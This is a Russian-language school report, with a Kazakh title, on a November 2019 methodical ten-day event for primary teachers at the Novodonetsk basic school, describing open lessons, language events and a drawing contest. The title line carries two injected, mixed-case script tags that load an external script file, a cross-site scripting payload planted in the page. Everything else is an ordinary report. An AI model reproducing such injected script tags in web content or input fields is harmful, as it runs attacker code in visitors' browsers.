Бастауыш мектептегі әдістемелік онкүндігі туралы есеп<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Отчет о проведении методической декады в начальной школе
( Ноябрь. 2019-2020 учебный год)
В период с 11 ноября по 22 ноября 2019 года в Новодонецкой основной школе прошла методическая декада учителей начальных классов. План проведения недели был обсужден и утвержден на методическом объединении учителей. В ней приняли участие все классы начальной ступени обучения.
Цель проведения недели: воспитание интереса обучающихся к изучению предметов; повышение качества преподавания предмета, через применение современных технологий; развитие познавательных способностей обучающихся.
Декада начальной школы прошла организованно, в соответствии с целью и задачами, поставленными перед началом её проведения. Хочется отметить подготовку учителей к открытым урокам и внеклассным мероприятиям их профессионализм. Все они были проведены на высоком методическом уровне, с применением активных форм обучения, с использованием ИКТ и разнообразного дидактического материала.
В 3 классе было проведён открытый урок по математике на тему: « Доли. Дроби», учителем Дьяченко Р.Н.
Урок был построен по новой структуре урока, т.к. учитель прошёл курсы по обновлению содержания обучения. На протяжении всего урока ученики были заинтересованы в добывании новых знаний. В начале урока была создана добродушная среда, проведена игра в виде повторения знаний. Несмотря на то, что дети обучаются только 3 год в школе, у них уже чётко прослеживается навык работы в группах. На уроке ученики показали, что могут внимательно слушать, понимают то, о чём говорит учитель, высказывают своё мнение, могут поспорить, развивались коммуникативные способности, чувствовалось, что ученики были вовлечены в диалог. Учащиеся 3 класса очень полюбили формы оценивания, через приёмы «Аплодисменты», «Большой палец», «Смайлики»,
« Лестница успеха» т.д. Благодаря этому ученики активно участвовали в учебном процессе, намечали пути дальнейшего развития, повышали навыки саморегуляции. Выбранная структура урока и его содержание были выбраны рационально для решения поставленных задач и изучения темы.
Современный подход к построению внеклассных мероприятий был виден во всех классах .Выбранные методы позволили организовать «Атмосферу успеха», при проведении всех мероприятий.
Желание отвечать было у всех. Настроение у всех было весёлое. Все были довольны тем, что имелась такая возможность поразмышлять, посоревноваться, показать свои умения, творческие способности, поиграть.
Внеклассные мероприятия по английскому и казахскому языкам, проведенные учителями Бимагамбетовой З.Д., Тулешовым М. А. и Закарян О.В. показали, что дети владеют государственным языком, а так же английским языком в рамках учебной программы. Проведённые мероприятия отразили огромную работу учителей казахского, английского языка. Были подготовлены интересные задания, загадки, с которыми дети справлялись очень хорошо. Дети отвечали на вопросы, демонстрировали свои знания.
На всех мероприятиях развивалось мышление и память учащихся, наблюдательность.
Выбранная структура урока и мероприятий продуктивно прослеживалась на методах и приёмах , которые способствовали рациональному решению з адач урока. Современный подход к построению урока математики в начальных классах по новым образовательным стандартам был реализован.
Весёлые и интересные физминутки проводились на уроках и внеклассных мероприятиях. Дети выполняли их задорно, с хорошим настроением.
Также в течение декады проходил конкурс рисунков на тему: « Любимые сказки».
Итогом методической декады начальных классов стало методическое мероприятие «Итоги декады», на котором были объявлены итоги конкурса рисунков. Было подмечено, что методическая неделя позволяет учителям раскрыть свой творческий потенциал и умение использовать современные технологии в нужном « русле». Все учителя в ходе предметной недели проявили хорошие организаторские способности, создали творческую атмосферу и провели уроки на хорошем уровне.
Можно с уверенностью сказать, что методическая неделя прошла в атмосфере творчества, сотрудничества и показала высокую результативность работы учителей начальных классов школы и учителей — предметников.
Анализируя проделанную работу педагогов начальных классов пришли к выводу, что методические недели просто необходимы, так как способствуют раскрытию внутреннего потенциала учителя и детей.
Итогом методической недели учителей начальных классов стали:
• методические материалы (фотоматериалы, компьютерные презентации, разработки уроков, внеклассных мероприятий и др.);
• обобщение коллективного опыта;
• обобщение индивидуального опыта.
Руководитель МО начальных классов: Дьяченко Р.Н.